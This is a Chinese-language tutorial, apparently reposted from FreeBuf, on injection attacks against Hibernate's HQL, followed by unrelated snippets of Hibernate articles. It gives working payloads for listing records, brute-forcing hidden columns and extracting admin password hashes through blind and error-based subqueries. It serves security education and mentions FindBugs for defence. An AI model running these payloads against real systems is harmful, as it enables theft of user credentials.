Hibernate HQL注入攻击入门

标签: WEB安全 Hibernate注入 HQL注入 SQL注入 | 发表时间:2014-05-12 10:00 | 作者:Taskiller
出处:http://www.freebuf.com

SQL注入是一种大家非常熟悉的攻击方式,目前网络上有大量存在注入漏洞的DBMS(如MySQL,Oracle,MSSQL等)。但是,我在网络上找不到针对Hibernate查询语言的相关资源。因此本文总结了笔者在阅读文档和不断试验过程中的一些经验技巧。

什么是Hibernate

Hibernate是一种ORM框架,用来映射与tables相关的类定义(代码),并包含一些高级特性,包括缓存以及继承,通常在Java与.NET中使用(可参考 NHibernate),但在Java生态系统中更受欢迎。

查询语言

首先,HQL查询并不直接发送给数据库,而是由hibernate引擎对查询进行解析并解释,然后将其转换为SQL。为什么这个细节重要呢?因为有两种错误消息来源,一种来自hibernate引擎,一种来自数据库。

HQL的一大挑战是注射模式非常有限,其没有联合,没有函数来创建简单延迟,没有系统函数,没有可用的元数据表等。Hibernate查询语言没有那些在后台数据库中可能存在的功能特性。

基础

以下示例代码用来进行之后的测试。需要注意的是,恶意输入总是在百分号之间:

session.createQuery("from Book where title like '%" + userInput + "%' and published = true")

列出所有实体

下面从最基础的开始:列出所有books

from Bookwhere title like '%'    or 1=1    or ''='%'    and published = true

访问隐藏的列

尽管UNION操作符不可用,我们依然可以暴力破解隐藏的列。

from Bookwhere title like '%'    and promoCode like 'A%'    or 1=2    and ''='%'    and published = true
from Bookwhere title like '%'    and promoCode like 'B%'    or 1=2 and ''='%'    and published = true

列出所有的列

也许有读者可能会问,如果没有元数据表,怎么样才能发现隐藏的列/字段呢。我发现一个小窍门,不过只有Hibernate向客户端返回异常消息时才可用。如果列名不是Hibernate中实体定义的一部分,则其会触发异常:

from Bookwhere title like '%'    and DOESNT_EXIST=1 and ''='%'    and published = true


触发异常:

org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:select book0_.id as id21_, book0_.author as author21_, book0_.promoCode as promo3_21_, book0_.title as title21_, book0_.published as published21_ from Book book0_ where book0_.title like '%' or DOESNT_EXIST='%' and book0_.published=1 [42122-159]


通过该异常,可以看到Hibernate查询的列表名。

访问不同的表

如前所述,HQL支持UNION查询,可以与其它表join,但只有在模型明确定义了关系后才可使用。我发现访问其它表的唯一方法是使用子查询。

例如,以下查询会从表中选择一条与“User”实体关联的项。

from Bookwhere title like '%'    and (select substring(password,1,1) from User where username='admin') = 'a'    or ''='%'    and published = true


之后就可以按常规的盲注模式进行盲注了。

非盲注

盲注比较费时间,如果异常消息能显示出来,就可以直接得到任意值了。为此,需要将某个选中的值转换为不同的类型。例如:

from Bookwhere title like '%11'    and (select password from User where username='admin')=1    or ''='%'    and published = true


之后Hibernate就愉快地将异常消息返回了:

Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe"; SQL statement:select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and book0_.published=1 [22018-159]


技巧:调用后台函数

如前所述,Hibernate会在SELECT和WHERE语句中隐藏一些不可识别的列名,对函数也一样。调用数据库函数的标准过程是 事先注册函数映射(HQL->SQL (Java代码),但攻击者不需要关心兼容性。最终查询中的完整函数可以用来窃取数据(group_concat,
array_agg, …)或对后台数据库进行简单的指纹识别。

例如,如果数据库支持group_concat函数:

from Bookwhere title like '%11'    and (select cast(group_concat(password) as string) from User)=1    or ''='%'    and published = true


则异常触发为:

Data conversion error converting"3f3ff0cdbfa0d515f8e3751e4ed98abe,79a41d71c31128ffab81ac8df2069f9c,b7fe6f6a1024db6e56027aeb558f9e68";SQL statement: select book0_.id as id18_, book0_.author as author18_, book0_.promotionCodeas promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select cast(group_concat(user1_.password) as varchar(255)) from User user1_)=1 or ''='%' and book0_.published=1 [22018-159]


总结

本文并不是讨论关于Hibernate的漏洞,而是利用HQL的技巧。如果有读者维护着使用Hibernate的Java web应用程序,可以运行FindBugs,利用这些规则识别与Hibernate API相关的潜在注入问题。

本文至此就结束了,希望对各位读者有所帮助!

参考

HQL: The Hibernate Query Language : Hibernate 官方文档

HQLmap:也许是目前能够进行自动HQL注入的唯一工具(暴力破解实体与列名)。

SQL Injection Wiki : 多种DBMS平台进行SQL注入的有用参考资料。

Pentestmonkey
SQL Injection cheatsheets
: SQL注入的另一不错的参考资料。

[via h3xstream]

特别提醒:本文阐述的攻击方式仅供安全学习、研究及教学使用,禁止非法用途

相关 [hibernate hql 攻击] 推荐:

Hibernate HQL注入攻击入门

- - FreeBuf.COM
SQL注入是一种大家非常熟悉的攻击方式,目前网络上有大量存在注入漏洞的DBMS(如MySQL,Oracle,MSSQL等). 但是,我在网络上找不到针对Hibernate查询语言的相关资源. 因此本文总结了笔者在阅读文档和不断试验过程中的一些经验技巧. Hibernate是一种ORM框架,用来映射与tables相关的类定义(代码),并包含一些高级特性,包括缓存以及继承,通常在Java与.NET中使用(可参考 NHibernate),但在Java生态系统中更受欢迎.

Hibernate 的HQL,QBC 查询语言

- - ITeye博客
1.HQL:(Hibernate Query Language) 是面向对象的查询语言. String hql="from Deptas model where mode.deptName='人事部' ";. String hql="from Deptas model where mode.deptName like '%部%' ";.

Hibernate 分页查询 HQL查询

- - ITeye博客
/*  前提介绍:. * SQL: 查询的直接对象是数据库中的表(表的结构)--遵循的是国际数据库公共的标准. 只属于Hibernate 这个ORM 框架,查询的对象不是数据库的表,而是表对应的持久化对象;---操作的是对象. 只属于ORM框架,它是没有SQL出现的查询(动态查询),查询只存在对象操作上.

自定义 Hibernate 的 HQL 函数

- - CSDN博客互联网推荐文章
 有时候我们使用一些数据库特有的SQL语法跟HQL有冲突怎么办,看看这个. 标签: HQL  Dialect  MySQL  Hibernate. [1].[代码] MySQLExtendDialect.java  跳至  [1]. * 作者: Winter Lau. * 时间: 2009-4-13.

HQL查询

- - CSDN博客推荐文章
HQL语句与SQL语句相似,其基本的使用习惯也与SQL相同. 由于HQL是面向对象的查询语句,所以它需要从目标对象中查询信息并返回匹配单个实体对象或多个实体对象的集合,而SQL语句是从数据库的表中查找指定信息,返回的是单条信息或多个信息的集合. select "对象.属性名" from "对象" where "过滤条件" group by "对象.属性名" having "分组条件" order by "对象名.属性名".

动态加载HQL

- senyo - BlogJava-首页技术区
Java代码如下:(ReloadableDynamicHibernate.java). 135         private Map qlMap;                //查询的映射. 这样就实现了每次修改SQL or HQL语句后不用重启服务器,立刻看到结果,加快了开发速度.

HIVE优化提示-如何写好HQL

- - CSDN博客云计算推荐文章
一、     Hive join优化. 也可以显示声明进行map join:特别适用于小表join大表的时候,SELECT /*+ MAPJOIN(b) */ a.key, a.value FROM a join b on a.key = b.key. 2.     注意带表分区的join, 如:.

Hibernate面试题

- - ITeye博客
什么是Hibernate的并发机制. Hibernate并发机制:. a、Hibernate的Session对象是非线程安全的,对于单个请求,单个会话,单个的工作单元(即单个事务,单个线程),它通常只使用一次,. 如果一个Session 实例允许共享的话,那些支持并发运行的,例如Http request,session beans将会导致出现资源争用.

Hibernate Lazy属性

- - 博客园_首页
  Hibernate 的延迟加载(lazy load)是一个被广泛使用的技术. 这种延迟加载保证了应用只有在需要时才去数据库中抓取相应的记录. 通过延迟加载技术可以避免过多、过早地加载数据表里的数据,从而降低应用的内存开销. Hibernate 的延迟加载本质上就是代理模式的应用,当程序通过 Hibernate 装载一个实体时,默认情况下,Hibernate 并不会立即抓取它的集合属性、关联实体所以对应的记录,而是通过生成一个代理来表示这些集合属性、关联实体,这就是代理模式应用带来的优势.

Hibernate 缓存

- - ITeye博客
1数据缓存:(date caching) 是一种将数据暂时存于内存缓存去中的技术,缓存通常是影响系统性能的关键因素. 2.ORM的数据缓存策略有3中.   1.事务级缓存:  分为 数据库事务和 应用级事务,是基于Session的生命周期的实现,每个session都会在内部维持一个数据缓存, 随session的创建和消亡.